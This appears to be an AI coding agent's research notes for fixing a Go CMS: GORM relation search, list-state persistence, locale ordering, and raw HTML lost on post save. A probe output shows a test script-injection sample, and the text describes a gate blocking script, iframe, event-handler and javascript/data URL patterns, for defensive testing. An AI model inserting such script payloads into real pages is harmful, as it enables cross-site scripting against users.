+**Domain:** summercms.go `modules/cabana` (GORM list queries, admin JSON API, Vue admin SPA), `sm-journal-plugin` (post save path), UAT release
+**Confidence:** HIGH for the three root causes (each reproduced by a probe or read from the UAT database); MEDIUM for the list-state design (Claude's discretion area)
+
+<user_constraints>
+## User Constraints (from CONTEXT.md)
+
+### Locked Decisions
+- **D-01: List state lives in both the URL and the server session.** Sort, filters, search and page are reflected in the list URL query string (shareable, bookmarkable, back-button friendly). When the list is opened without list-state query parameters (for example from the admin navigation), the last state stored in the user's session for that list is restored. When the URL carries list-state parameters, the URL wins and also updates the session. User's words: "I may go back to Posts list through navigation and it's great if my filters were remembered + sharable URLs are nice to have."
+- **D-02: The relation-search fix is a framework fix in summercms.go `modules/cabana`**, generic for belongsToMany (pivot) relations, not a Journal-specific workaround. Another session is concurrently working in `modules/`; plans must keep cabana changes in their own commits, stage files explicitly by path, and check for conflicting in-flight edits before touching shared cabana files.
+- **D-03: Content and excerpt must show the stored values without loss.** Root cause is to be established by research (suspects: translatable-field overlay replacing host values with empty translations; the markdown widget not displaying imported HTML). Saving a post from the admin must not destroy imported HTML (see todo `journal-imported-html-admin-resave.md`); if a full fix needs the Blog Editor, 16.1 at least prevents data loss and 16.2 delivers the editor.
+- **D-04: Ship to UAT.** Release a summercms tag carrying the cabana fixes (unless the concurrent session's release already includes them), bump `sm-grzybyfunkcjonalne-app`, redeploy to uat.grzybyfunkcjonalne.pl per its DEPLOY.md, and re-run `scripts/smoke.sh --url` on the server.
+
+### Claude's Discretion
+- Session storage mechanism and query-parameter naming for list state, following existing cabana conventions.
+- Test strategy, within the lean-mode rule that unit tests are the last plan of the phase.
+
+### Deferred Ideas (OUT OF SCOPE)
+- Plugin-provided field types and the Blog Editor formwidget (Phase 16.2). (CONTEXT.md has no separate Deferred section; this is its "Out of scope" line.)
+</user_constraints>
+
+<phase_requirements>
+## Phase Requirements
+
+No requirement IDs are mapped. The CONTEXT decisions are the requirement set.
+
+| ID | Description | Research Support |
+|----|-------------|------------------|
+| D-01 | List sort, filters, search and page in the URL and a per-user server store; restore when the list opens without params | "List state" pattern: the URL params already exist; add the `backend_list_states` table, a `GET .../list-state` restore route, a save inside the list handler, and the ListView entry logic |
+| D-02 | Generic cabana fix for search over belongsToMany (and sort over to-many) relations | Root cause reproduced: `db.Joins("Categories")` on a many2many builds `"Categories"."post_id"`. Fix: correlated `EXISTS` subqueries built from GORM's parsed relationship |
+| D-03 | Post form shows the stored content and excerpt, and a save never destroys imported HTML | Root cause 1: the first enabled locale is `en`, and no `en` translations exist. Fix: default locale first in `meta.enabledLocales`. Root cause 2: `FormatHTML` drops raw HTML. Fix: `html.WithUnsafe()` plus the existing gate. 2 UAT posts already damaged; repair them after the deploy |
+| D-04 | Tag, bump, redeploy, smoke | Release mechanics: the host builds against the `../summercms.go` working tree through a replace. The bump is the journal submodule pointer. The new migration needs `bin/grzybyfunkcjonalne migrate` on the server |
+</phase_requirements>
+
+## Project Constraints (from CLAUDE.md)
+
+- Go 1.27, standard library first; add a dependency only when the research doc or a phase decision names it. **This phase adds none.** `github.com/yuin/goldmark/renderer/html` is a sub-package of goldmark v1.8.6, which sm-journal-plugin already requires.
+- `go vet` and `go test ./...` must be green at every commit.
+- Compiled plugins only; no runtime plugin loading.
+- API parity: do not "improve" Journal API response shapes. The `content`/`content_html` contract stays unchanged (todo file).
+- Unit tests are always the **last plan** of the phase. Before writing plans, present the plan count with one-line scopes (checkpoint).
+- Commits:
+  - no co-author tags;
+  - one logical change per commit;
+  - planning docs and code in separate commits.
+- D-02 adds three rules for this phase:
+  - cabana changes go in their own commits;
+  - stage files by explicit path;
+  - check for in-flight edits before touching shared cabana files.
+- A change to a `modules/` package's exported API, config keys, CLI commands or dependencies updates that module's `README.md` in the same change. It also updates the affected `docs/` pages (`docs/backend/lists-and-filters.md`). `go test ./cmd/summer -run TestDocsTree` and `summer docs:build --check` must pass. Every identifier named in docs must exist.
+- Framework READMEs never name a consuming application. Use `blog`/`acme`, not Journal or grzybyfunkcjonalne, in cabana or lagoon docs.
+- SPA changes: rebuild `modules/boardwalk/dist` (`npm --prefix admin run build`) and commit it (`scripts/check-admin-dist.sh` is the drift gate). Swag annotation changes: regenerate `admin/openapi/admin.json` and `admin/src/api/schema.d.ts` (`scripts/check-admin-openapi.sh`, `--check` to verify).
+- The PHP originals are not changed. Core plugin contracts (user, blog, pages, payment) stay unchanged.
+
+## Summary
+
+Each of the four UAT defects has one confirmed cause.
+
+**(1) Relation search fails.** `applyListSearch` joins every searched relation with `db.Joins(field)` [VERIFIED: modules/cabana/query.go:351-357]. GORM's association `Joins` only fits to-one relations. On a many2many it emits `LEFT JOIN "golem15_journal_categories" "Categories" ON "golem15_journal_posts"."id" = "Categories"."post_id" AND "golem15_journal_posts"."category_id" = "Categories"."id"`, which is the UAT error, reproduced this session with a GORM v1.31.2 DryRun probe.
+
+`applyListOrder` has the same bug for sorting by a to-many column (query.go:309). The code that ran on UAT is v0.1.15. Since v0.1.9, query.go only gained the to-many display join (`relatedSelectMany`). The bug is unchanged at HEAD.
+
+The fix that matches Winter is a correlated `EXISTS` subquery per relation search term. Winter's Lists widget uses `orWhereHas` for search [VERIFIED: examples/golem15-wintercms-starter/modules/backend/widgets/Lists.php:529-531]. Build the subquery from GORM's own parsed relationship (`schema.Relationship.References` / `JoinTable`), not from guessed names.
+
+**(2) List state is lost.** The list state already lives in the URL query (`search`, `sort`, `dir`, `page`, `per_page`, `filter[<name>]`) [VERIFIED: admin/src/app/listQuery.ts; modules/cabana/query.go:62-84]. The form's back link, close and save redirects, and the navigation all go to the bare list path (`go(listPath)`, FormView.vue:60/403/439), so the state is dropped.
+
+There is no server session: admin auth is a stateless JWT cookie whose jti rotates on refresh. The table that would play this role in Winter, `backend_user_preferences`, was explicitly not ported in Phase 9; a test asserts it is absent. Recommendation: a small framework table `backend_list_states` keyed (user_id, controller), a `GET .../list-state` restore route, and a best-effort save inside the existing list handler after a successful query. ListView restores before its first load whenever it is entered with no list params.
+
+**(3)+(4) The form shows empty content and excerpt.** The data is fine. On UAT, `golem15_translate_locales` has `en|f|t|1` and `pl|t|t|2`: en is enabled, sorted first, and not the default. There are **0** rows in `golem15_translate_attributes`. `EnabledLocales` returns codes `ORDER BY sort_order` → `["en","pl"]`. Every ML control opens on `locales[0]`, which is `en`, so the form shows the empty en values of title, slug, content and excerpt. The record heading hides this for the title, because it falls back to the first non-empty locale.
+
+Fix in cabana: send the default locale first in `meta.enabledLocales`. This one server function fixes the form, the preview screen and relation child modals.
+
+Separately, **saving destroys imported HTML**. `preparePostWrite` runs `classes.FormatHTML(post.Content)`, which is goldmark *without* `html.WithUnsafe()`. Probe this session: it turns all 100 imported pl bodies into `<!-- raw HTML omitted -->`. With `html.WithUnsafe()` it returns all 100 unchanged (trim-equal), and the existing 3-pattern gate still rejects script, iframe, event handlers and javascript/data URLs. This is PHP parity: Winter's `Markdown::parse` passes raw HTML through.
+
+UAT already has **2 posts whose `content_html` was wiped at import**. They have no pl translation and raw HTML in the base content:
+- id 53 `czy-amanita-muscaria-jest-legalna` (draft);
+- id 64 `ekstrakt-z-turkey-tail` (**published**, missing its author footer).
+
+Re-render both after the fix ships.
+
+**Primary recommendation:** five changes, then release v0.1.16 and redeploy:
+1. cabana: relation search and sort through `EXISTS` and correlated subqueries built from `gorm.Statement.Parse` relationships.
+2. cabana: default locale first in `enabledLocales`.
+3. cabana and SPA: list-state table, restore route and ListView entry logic.
+4. sm-journal-plugin: `FormatHTML` with `html.WithUnsafe()` behind the existing gate.
+5. After the deploy: re-save posts 53 and 64.
+
+## Architectural Responsibility Map
+
+| Capability | Primary Tier | Secondary Tier | Rationale |
+|------------|-------------|----------------|-----------|
+| Relation search/sort SQL | API / Backend (cabana `query.go`) | Database (Postgres EXISTS) | Allowlisted SQL is built only server-side; the SPA sends only names |
+| List state persistence | API / Backend (cabana list handler + new route) | Database (`backend_list_states`) + Browser (ListView entry logic, URL) | D-01 asks for server storage; the URL stays the shareable source |
+| Restore-on-entry decision | Browser (ListView) | API (restore route sanitizes) | Only the SPA knows whether the list was entered from navigation or changed by the user |
+| ML default locale ordering | API / Backend (cabana `enabledContentLocales`) | Browser (MLField uses `[0]`) | A single server ordering fixes every SPA consumer of `meta.enabledLocales` |
+| content → content_html rendering | API / Backend (sm-journal-plugin `classes.FormatHTML`) | — | Shared by admin save, import and Journal API writes |
+| Release / deploy | Host repo + server ops | — | The host compiles the framework working tree through a replace |
+
+## Standard Stack
+
+### Core (all already in go.mod / package.json; versions read this session)
+| Library | Version | Purpose | Why Standard |
+|---------|---------|---------|--------------|
+| gorm.io/gorm | v1.31.2 | `gorm.Statement.Parse` → `schema.Relationship` (Type, References, JoinTable, FieldSchema) for the EXISTS builder | Already the ORM; its parsed relationship is the only reliable source of pivot/fk names [VERIFIED: probe output below] |
+| gorm.io/gorm/schema | v1.31.2 | `schema.Many2Many` ("many_to_many"), `schema.HasMany` ("has_many"), `schema.BelongsTo`, `schema.HasOne` | Relation type switch [VERIFIED: probe printed `type: many_to_many`, `has_many`] |
+| github.com/yuin/goldmark | v1.8.6 (sm-journal-plugin go.mod) | `goldmark.WithRendererOptions(html.WithUnsafe())` from `github.com/yuin/goldmark/renderer/html` | Same module, new import only [VERIFIED: probe compiled against the cached v1.8.6] |
+| gormigrate/v2 | v2.1.7 | New migration appended to `lagoon.BackendAdminMigrations` | Existing framework migration list (`summercms.cabana` history) [VERIFIED: modules/lagoon/backend_admin_migrations.go:21, migrations.go:75] |
+| vue-router | 5.1.0 | `router.replace` for restore, as ListView already does | Existing [VERIFIED: admin/package.json] |
+
+### Alternatives Considered
+| Instead of | Could Use | Tradeoff |
+|------------|-----------|----------|
+| EXISTS per relation | `Joins` + `DISTINCT` / `GROUP BY` | Duplicate rows inflate `Count`, unqualified outer predicates (`id IN (...)` in Journal `FilterCategories`, `user_id = ?` in `restrictToOwnPosts`) become ambiguous; not Winter parity |
+| `backend_list_states` table | `backend_users.metadata` JSON key | metadata is Winter's TEXT jsonable copied at cutover (202610090001); read-modify-write races between tabs; pollutes a copied column |
+| `backend_list_states` table | Winter `backend_user_preferences` | Phase 9 D-01 left it unported and `backend_admin_migrations_test.go:116` asserts it is absent; reviving it reverses a decision and its non-unique `user_item_index` cannot back an upsert |
+| Server-side table | Browser `sessionStorage` | Contradicts D-01 ("server session") |
+| Default-locale-first in cabana | Reorder in sm-translate-plugin `AdminWriter.EnabledLocales` | Plugin-specific; any other TranslationWriter would keep the bug |
+| Default-locale-first | New `meta.defaultLocale` + SPA changes | More SPA surface and OpenAPI change; same user-visible result. Dropdown order changes from sort_order to default-first (cosmetic) |
+| `html.WithUnsafe()` | Detect HTML (`^\s*<`) and store as-is through `CheckHTML` | Heuristic, and post 64 is markdown with trailing raw HTML (would still be wiped); not PHP parity |
+
+**Installation:** none, because no new modules are added.
+
+## Package Legitimacy Audit
+
+No external packages are installed. `github.com/yuin/goldmark/renderer/html` is a package inside the already-required `github.com/yuin/goldmark v1.8.6`. No npm packages are added.
+
+**Packages removed due to [SLOP] verdict:** none
+**Packages flagged as suspicious [SUS]:** none
+
+## Root-cause evidence
+
+### Defect 1: relation search (D-02)
+
+The search code [VERIFIED: modules/cabana/query.go:345-357, read this session]:
+```go
+			field, ok := relationFieldName(model, col.Relation)
+			physical := listRelationColumn(controller, col.Relation, col.Select)
+			...
+			// GORM aliases the joined association with the Go field name.
+			table = field
+			column = physical
+			if _, done := joined[field]; !done {
+				db = db.Joins(field)
+```
+The sort code does the same, `db = db.Joins(field)` [VERIFIED: query.go:309].
+
+The Journal model declares the relation as `Categories []Category \`gorm:"many2many:golem15_journal_posts_categories;" json:"-"\`` [VERIFIED: sm-journal-plugin/models/post.go:34]. The posts list column is:
+```yaml
+    categories:
+        label: golem15.journal::lang.post.categories
+        relation: categories
+        select: name
+        searchable: true
+        sortable: false
+```
+[VERIFIED: sm-journal-plugin/models/post/columns.yaml]
+
+GORM v1.31.2 DryRun probe (scratch module, same model shape), output pasted:
+```
+JOINS: SELECT count(*) FROM "golem15_journal_posts" LEFT JOIN "golem15_journal_categories" "Categories" ON "golem15_journal_posts"."id" = "Categories"."post_id" AND "golem15_journal_posts"."category_id" = "Categories"."id" WHERE LOWER(CAST("Categories"."name" AS TEXT)) LIKE '%x%'
+type: many_to_many jointable: golem15_journal_posts_categories
+ ref: fk=golem15_journal_posts_categories.post_id pk=golem15_journal_posts.id ownPrimaryKey=true pvalue=""
+ ref: fk=golem15_journal_posts_categories.category_id pk=golem15_journal_categories.id ownPrimaryKey=false pvalue=""
+hasmany type: has_many field schema: comments
+ ref: fk=comments.post_id pk=golem15_journal_posts.id own=true
+```
+The error happens at `query.go:129`, the `Count`, which is the first statement executed.
+
+The log names `summercms@v0.1.9`, but that is only the version sm-journal-plugin's go.mod *requires* (`git.golem15.com/golem15/summercms v0.1.9`). The code that ran is the `../summercms.go` working tree at 296b9cd, which descends from v0.1.15 with docs-only changes since. At HEAD, query.go differs from v0.1.9 only by `relatedSelectMany` (display), so **the bug is still present at HEAD**.
+
+There are no uncommitted `modules/` edits right now. The checkout is 13 docs commits ahead of origin/master.
+
+### Defect 2: list state (D-01)
+
+- **URL params already exist.** `listQueryFromRequest` reads `search`, `sort`, `dir`, `page`, `per_page` and `filter[<name>]` (`listSearchTerm = "search"` [VERIFIED: modules/cabana/list_schema.go:20]; query.go:62-84). The SPA mirrors them in `parseListQuery`/`toListQuery` [VERIFIED: admin/src/app/listQuery.ts], and ListView changes them with `router.replace` (ListView.vue:114-116).
+- **Where the state is dropped.**
+  - FormView: `const listPath = controllerPath(controllerId) ?? '/'` (FormView.vue:60), `await go(listPath)` after save (403), `await go(backPath.value)` for back (439).
+  - The navigation and breadcrumb links use the bare controller path.
+  - Browser Back works today. Every in-app return loses the state.
+- **ListView start-up.** It loads through `watch(() => listQueryKey(query.value), ..., { immediate: true })` (ListView.vue:146-153). The first request is fired at setup, before any restore could run.
+- **No server session.**
+  - Login mints a JWT into an HttpOnly cookie (`auth.go` `writeSessionCookie`).
+  - Refresh rotates the token and jti (`bouncer.RefreshAudienceFor`).
+  - Logout only blacklists the jti.
+  - Phase 9 left out Winter's preference table ("`backend_user_groups` and Winter's user-preference and access-log tables: not needed by any Golem15 plugin yet" [VERIFIED: .planning/phases/09-.../09-CONTEXT.md:126]), and `backend_admin_migrations_test.go:116` fails if `backend_user_preferences` exists.
+- **What Winter does.** It keeps sort (`putSession('sort', ...)`), search term (`putSession('term', ...)`), filter scopes and `lastVisitedPage` in the session, and per_page in user preferences [VERIFIED: Lists.php:233,289,1773; Search.php:158; Filter.php:959].
+
+### Defects 3 and 4: empty content and excerpt (D-03)
+
+Read-only UAT probe (ssh `grzybyfunkcjonalne-uat`, psql over the peer socket, SELECT only), output pasted:
+```
+code|is_default|is_enabled|sort_order
+en|f|t|1
+pl|t|t|2
+locale|model_type|count
+(0 rows)
+posts|content|html|excerpt|title|content_starts_html
+104|104|104|100|104|101
+```
+- **Where the order comes from.** The translate seed inserts `SELECT 'en', 'English', TRUE, TRUE, 1` and `SELECT 'pl', 'Polski', FALSE, TRUE, 2` [VERIFIED: sm-translate-plugin/updates/202610060005_seed_en_pl_locales.go:13-18]. migrate.sh only runs `UPDATE golem15_translate_locales SET is_default = (code = 'pl')` (scripts/migrate.sh:173), so en stays enabled and first.
+- **The writer keeps that order.** `AdminWriter.EnabledLocales` runs `Where("is_enabled = ?", true).Order("sort_order asc")` [VERIFIED: sm-translate-plugin/classes/admin_writer.go:31-35], and cabana copies the result into the form schema (`view.Meta.EnabledLocales = append([]string(nil), codes...)`, http.go:727-729).
+- **The server sends the right data.** `hydrateMLRecord` puts the host column under the default locale (`if code == defaultLocale { out[code] = host`, field_ml.go:208-211). An en key with no stored translation is `out[code] = ""` (field_ml.go:217-219).
+- **The SPA opens on the wrong locale.**
+  - `const activeLocale = ref(locales.value[0] ?? 'en')` (MLField.vue:30).
+  - `function firstMLLocale(): string { return schemaEnabledLocales(schema.value?.meta)[0] ?? 'en' }` (FormView.vue:227-229).
+  - So every ML control (title, slug, content and excerpt) opens on `en`, which is empty. The user reported only content and excerpt, but title and slug are empty in the inputs as well.
+
+**Data loss on save.**
+- The save path: `html, err := classes.FormatHTML(post.Content)` … `post.ContentHTML = html` (sm-journal-plugin/controllers/posts.go:213-219). The engine is `goldmark.New(goldmark.WithExtensions(extension.Footnote, extension.Table), goldmark.WithParserOptions(parser.WithAttribute()))`, with no unsafe renderer (classes/format_html.go:15-18).
+- PHP parity: `formatHtml` stores `trim($input)` when `use_rich_editor` is on, otherwise `Markdown::enableFootnotes()->enableAttributes()->enableTables()->parse(trim($input))`, then `Html::clean` [VERIFIED: grzybyfunkcjonalne.pl/plugins/golem15/journal/models/Post.php:185-208]. Winter's Markdown passes raw HTML through [ASSUMED: Parsedown default, not re-read this session; consistent with the export, where 83/100 pl `content_html` equal `content` byte for byte and the other 17 differ only by `&quot;` → `"`].
+- Probe over the 100 pl bodies of the journal export (goldmark v1.8.6, the same options), output pasted:
+```
+total=100 safe_omitted=100 unsafe_exact=0 unsafe_trim_equal=100
+sample safe="<!-- raw HTML omitted -->\n"
+sample unsafe="<p>a</p>\n<p>b</p>"
+md unsafe="<h1>T</h1>\n<p>text <b>x</b></p>\n<script>alert(1)</script>"
+```
+The last line shows why the existing `rejectUnsafe` gate must stay after the unsafe render. None of the 105 export bodies match any of the three gate patterns, so no imported post will be refused on save.
+
+**Already damaged on UAT** (read-only probe):
+```
+wiped|edited_after_import|admins
+2|0|1
+id 53 czy-amanita-muscaria-jest-legalna  published=f  content_html = <!-- raw HTML omitted -->
+id 64 ekstrakt-z-turkey-tail             published=t  content_html ends with 3x <!-- raw HTML omitted --> (author <footer> + <style>)
+```
+Both come from export files with `"translations": []`: base content containing raw HTML went through the safe `FormatHTML` at import (console/import_posts.go:185). Probe with the unsafe renderer:
+- `czy-amanita-muscaria-jest-legalna`: gate passes, equal to the PHP `content_html` after whitespace normalization.
+- `ekstrakt-z-turkey-tail`: gate passes, includes `<footer` and `<style>`, 5643 vs 5655 bytes against PHP.
+
+## Architecture Patterns
+
+### System Architecture Diagram
+
+```
+Admin SPA (ListView)                                   cabana API (Go)                         Postgres
+────────────────────                                   ───────────────                         ────────
+enter list route ──► query empty? ──yes──► GET .../list-state ──► protect() ─► load row(user,ctl)
+        │                 │                                         sanitize vs compiled schema ─► backend_list_states
+        │                 │◄──────── {search,sort,dir,page,per_page,filter} ◄──┘
+        │                 ├─ non-empty ─► router.replace(query) ─┐
+        │                no / empty stored                        │
+        ▼                                                         ▼
+ user changes search/sort/filter/page ─► router.replace ─► GET /{v}/{p}/{c}?search&sort&dir&page&per_page&filter[x]
+                                                           │
+                                                           ├─ ExecuteList: ListExtendQuery → applyListSearch
+                                                           │     own column:   LOWER(CAST(t.col AS TEXT)) LIKE ?
+                                                           │     relation col: EXISTS (SELECT 1 FROM pivot p JOIN rel r ...
+                                                           │                           WHERE p.owner_fk = t.pk AND LOWER(...) LIKE ?)
+                                                           │  → applyListFilters → Count → applyListOrder → Preload → Find
+                                                           ├─ on success: upsert state(user, controller) if changed (best effort)
+                                                           └─► rows + meta
+
+FormView (back / save / close) ─► go(listPath) (bare path) ─► ListView entry ─► restore path above
+```
+
+### Recommended file touch map
+```
+summercms.go/
+├── modules/cabana/query.go              # EXISTS search + to-many sort subquery (D-02)
+├── modules/cabana/list_state.go         # NEW: store/load/sanitize list state (D-01)
+├── modules/cabana/http.go               # list(): save after success; new GET .../list-state route; enabledContentLocales default-first (D-03)
+├── modules/cabana/admin_openapi.go      # swag doc for the new route
+├── modules/lagoon/backend_admin_migrations.go  # NEW migration backend_list_states
+├── modules/cabana/README.md, modules/lagoon/README.md, docs/backend/lists-and-filters.md
+├── admin/src/views/ListView.vue         # entry restore, non-immediate watch, page clamp
+├── admin/openapi/admin.json, admin/src/api/schema.d.ts   # regenerated
+└── modules/boardwalk/dist/              # rebuilt SPA
+sm-journal-plugin/
+├── classes/format_html.go               # html.WithUnsafe() + existing gate
+└── README.md (admin re-save note)
+sm-grzybyfunkcjonalne-app/
+├── plugins/golem15/journal (submodule pointer), README.md + DEPLOY.md (drop the "do not re-save" warning)
+```
+
+### Pattern 1: relation search through EXISTS (generic, Winter `orWhereHas` parity)
+
+**What:** for each searchable column with `relation:`, emit one `EXISTS (...)` term inside the existing OR group instead of `db.Joins(field)`. Read the relationship from GORM's schema parse. Validate the selected column against the related schema.
+
+**When to use:** every relation type in **search**. For **sort**, keep `Joins` for `belongs_to`/`has_one`, which works and is tested (`artist` column in query_test.go). Use a correlated scalar subquery for `has_many`/`many_to_many`.
+
+GORM wraps an OR expression in parentheses when it is combined with other `Where`s. Verified by DryRun:
+```
+SELECT count(*) FROM "golem15_journal_posts" WHERE user_id = 3 AND (LOWER(CAST("golem15_journal_posts"."title" AS TEXT)) LIKE '%x%' ESCAPE '\' OR EXISTS (SELECT 1 FROM "golem15_journal_posts_categories" AS "p0" JOIN "golem15_journal_categories" AS "r0" ON "r0"."id" = "p0"."category_id" WHERE "p0"."post_id" = "golem15_journal_posts"."id" AND LOWER(CAST("r0"."name" AS TEXT)) LIKE '%x%' ESCAPE '\')) AND published = true
+```
+
+Skeleton, using cabana's existing `qualifiedColumn`, `quotedIdent`, `identifier`, `tableName` and `listInvalid` helpers. The relationship API names come from the probe; the shape is a sketch:
+```go
+// relationExists returns "EXISTS (...)" matching LOWER(CAST(rel.column AS TEXT)) LIKE ?
+// for the relation behind Go field `field`, correlated to the main table.
+func relationExists(db *gorm.DB, model any, field, column string, n int) (string, error) {
+	stmt := &gorm.Statement{DB: db}
+	if err := stmt.Parse(model); err != nil {
+		return "", err
+	}
+	rel, ok := stmt.Schema.Relationships.Relations[field]
+	if !ok || rel.FieldSchema == nil || rel.FieldSchema.LookUpField(column) == nil {
+		return "", listInvalid("search", "is not searchable")
+	}
+	main := tableName(model)            // the unaliased outer FROM table
+	r := fmt.Sprintf("cabana_r%d", n)   // alias: safe for self-referencing relations
+	match := fmt.Sprintf("LOWER(CAST(%s AS TEXT)) LIKE ? ESCAPE '\\'", qualifiedColumn(db, r, column))
+	var on, where []string
+	switch rel.Type {
+	case schema.Many2Many:
+		p := fmt.Sprintf("cabana_p%d", n)
+		for _, ref := range rel.References {
+			if ref.OwnPrimaryKey { // pivot.owner_fk = main.pk
+				where = append(where, qualifiedColumn(db, p, ref.ForeignKey.DBName)+" = "+qualifiedColumn(db, main, ref.PrimaryKey.DBName))
+			} else { // pivot.related_fk = related.pk
+				on = append(on, qualifiedColumn(db, p, ref.ForeignKey.DBName)+" = "+qualifiedColumn(db, r, ref.PrimaryKey.DBName))
+			}
+		}
+		return fmt.Sprintf("EXISTS (SELECT 1 FROM %s AS %s JOIN %s AS %s ON %s WHERE %s AND %s)",
+			quotedIdent(db, rel.JoinTable.Table), quotedIdent(db, p),
+			quotedIdent(db, rel.FieldSchema.Table), quotedIdent(db, r),
+			strings.Join(on, " AND "), strings.Join(where, " AND "), match), nil
+	case schema.HasMany, schema.HasOne: // related.fk = main.pk
+		for _, ref := range rel.References {
+			where = append(where, qualifiedColumn(db, r, ref.ForeignKey.DBName)+" = "+qualifiedColumn(db, main, ref.PrimaryKey.DBName))
+		}
+	case schema.BelongsTo: // related.pk = main.fk
+		for _, ref := range rel.References {
+			where = append(where, qualifiedColumn(db, r, ref.PrimaryKey.DBName)+" = "+qualifiedColumn(db, main, ref.ForeignKey.DBName))
+		}
+	default:
+		return "", listInvalid("search", "is not searchable")
+	}
+	return fmt.Sprintf("EXISTS (SELECT 1 FROM %s AS %s WHERE %s AND %s)",
+		quotedIdent(db, rel.FieldSchema.Table), quotedIdent(db, r), strings.Join(where, " AND "), match), nil
+}
+```
+Notes for the planner:
+- **Polymorphic references.** A reference with `ref.PrimaryValue != ""` needs an extra bound `= ?` condition. Refuse polymorphic relations with `listInvalid` in this phase unless a test covers them [ASSUMED: GORM polymorphic reference semantics, not probed].
+- **Soft deletes.** If the related schema has a `gorm.DeletedAt` field, add `AND r.deleted_at IS NULL`. Winter's `whereHas` applies the related model's SoftDelete scope [ASSUMED].
+- **Parse cache.** `stmt.Parse` uses `db.cacheStore`, so the parse is cached.
+- **Sort for to-many.** Use `ORDER BY (SELECT string_agg(CAST(r.col AS TEXT), ', ') FROM ... correlated ...) ASC|DESC` with `clause.OrderBy{Expression: clause.Expr{SQL: ...}}`. This mirrors Winter, which sorts on the `group_concat(...)` sub-select [VERIFIED: Lists.php:568-570] and on the comma-joined value `relatedSelectMany` displays. The `sortable` default is true for relation columns (docs/backend/lists-and-filters.md:62), so any other plugin's to-many column crashes on sort today.
+
+### Pattern 2: list state (D-01), recommended design
+
+**Server side (cabana):**
+1. **Migration.** Append to `lagoon.BackendAdminMigrations`, ID `"202610100001_backend_list_states"` (follow the `YYYYMMDDNNNN_` pattern of `202610090001_backend_users_metadata`):
+   ```sql
+   CREATE TABLE IF NOT EXISTS backend_list_states (
+     user_id INTEGER NOT NULL REFERENCES backend_users(id) ON DELETE CASCADE,
+     controller TEXT NOT NULL,
+     state TEXT NOT NULL,
+     updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
+     PRIMARY KEY (user_id, controller)
+   )
+   ```
+   - `backend_users.id` is `SERIAL` [VERIFIED: backend_admin_migrations.go:36-37].
+   - Use `state TEXT`, matching the backend tables' TEXT-for-JSON convention (`metadata TEXT`, `permissions TEXT`).
+   - The table name avoids reviving Winter's `backend_user_preferences`, which the Phase 9 test prohibits.
+2. **Store shape.** The same JSON shape as the SPA's `ListQuery`: `{"search":..., "sort":..., "dir":..., "page":..., "per_page":..., "filter":{...}}`. Write it with `INSERT ... ON CONFLICT (user_id, controller) DO UPDATE` (gorm `clause.OnConflict`). Skip the write when the stored state is equal. Cap the stored JSON size (for example 4 KiB) and drop oversize state.
+3. **Save (URL wins).** In `service.list`, after `ExecuteList` returns no error, save the request's validated `ListInput` for `(principal.ID, controllerID(cc))`. A save failure is logged with `slog` and does not fail the list. A 422 or 500 list request never saves.
+4. **Restore.**
+   - Route: `g.Get("/{vendor}/{plugin}/{controller}/list-state", s.listState)` + `constrainController(g)`, through `protect()`, so permission is checked before SQL.
+   - Response: `{data: <ListQuery>}`, `{}` when there is none.
+   - Sanitize the stored state against the *current* compiled schema before returning it, reusing `normalizePage`, `normalizeSort`, the filter allowlist and the `switchArgument`/`parseDateRange`/`scopeArgument` checks. Drop each invalid part; never 422. A stored filter that a later deploy removed must not break the list forever.
+   - Order: register the literal route before the `/{id}` show route. ServeMux would pick the literal anyway, but put it next to `schema/list` for readability.
+5. **OpenAPI.**
+   - Add a swag block `AdminListState` for the new route.
+   - Add one sentence to `AdminList`'s `@Description` ("a successful list request stores its query as the administrator's list state").
+   - Regenerate with `scripts/check-admin-openapi.sh`.
+6. **Logout.** Keep the state across logins by default (see Assumption A1). If the user wants Winter's session-only semantics, delete the user's rows in `service.logout`.
+
+**SPA side (ListView.vue):**
+1. **Entry.** Replace the `immediate: true` watch with an explicit entry routine. If `parseListQuery(route.query)` is empty, `await api.GET('/{vendor}/{plugin}/{controller}/list-state')`. If the result is non-empty, `router.replace({ path: route.path, query: toListQuery(state) })` and let the (non-immediate) watch load. Otherwise call `loadList()`. **Never fire an empty list request before the restore decision**: under "save on success", that request would overwrite the stored state with empty.
+2. **Same-path re-entry.** ListView is keyed by route path, so clicking the nav item while already on the list with filters changes only the query to `{}`. Remember the key of the last query this view set itself in `replaceQuery`. When the watch sees an empty query that the view did not set, run the entry restore instead of loading empty.
+3. **User clears everything.** `replaceQuery` produces `{}`. The key matches the view's own → `loadList()` with no params → the server saves the empty state. Clearing works with no marker param.
+4. **Page out of range** after restore (records deleted): if `meta.last_page >= 1 && meta.page > meta.last_page`, `replaceQuery({ ...query, page: meta.last_page })`.
+5. **FormView needs no change.** Its bare `listPath` navigation now restores.
+
+### Pattern 3: ML default locale first (D-03)
+
+In `service.enabledContentLocales` (modules/cabana/http.go:966-983), call `writer.DefaultLocale(ctx, db)` and move that code to index 0, keeping the remaining codes in sort_order. If `DefaultLocale` errors, keep the order and log. This changes three things:
+- MLField's initial `activeLocale`;
+- FormView's `firstMLLocale()`;
+- `mergeMLValue`'s fallback for a bare host string, and `recordDisplayName`'s preferred locale. These read `enabledLocales[0]` (formState.ts:205-218, 225-247), so they become the default locale too.
+
+`liftMLValues`/`hydrateMLRecord` call `writer.EnabledLocales` directly and do not depend on order.
+
+### Pattern 4: lossless content_html (D-03, sm-journal-plugin)
+
+```go
+import "github.com/yuin/goldmark/renderer/html"
+
+markdownEngine = goldmark.New(
+	goldmark.WithExtensions(extension.Footnote, extension.Table),
+	goldmark.WithParserOptions(parser.WithAttribute()),
+	goldmark.WithRendererOptions(html.WithUnsafe()), // Winter Markdown::parse passes raw HTML; rejectUnsafe still gates it
+)
+```
+- `FormatHTML` keeps `rejectUnsafe(html)` after the render, unchanged. `CheckHTML` is unchanged.
+- The one change covers all three write paths: admin save (`preparePostWrite`), import (`console/import_posts.go:185`) and the Journal API writes (`controllers/api/posts_helpers.go:511,567,768`).
+- The response shapes are unchanged (API parity).
+- Do **not** change `cabana.RenderMarkdown` (the admin preview, `field_markdown.go:21-31`). Its output goes into the SPA via `v-html`, and its "no unsafe HTML" rule is a framework security choice. The HTML preview gap belongs to 16.2's Blog Editor.
+
+### Anti-Patterns to Avoid
+- **`Joins(field)` for to-many relations.** It builds a broken ON clause for many2many and duplicates rows for has_many.
+- **Guessing pivot or foreign-key names** (`<model>_id`). Read them from `schema.Relationship`. The README says "Framework code never guesses table, pivot or foreign-key names."
+- **Saving list state on the SPA's first empty request.** It wipes the stored state (see Pattern 2, SPA step 1).
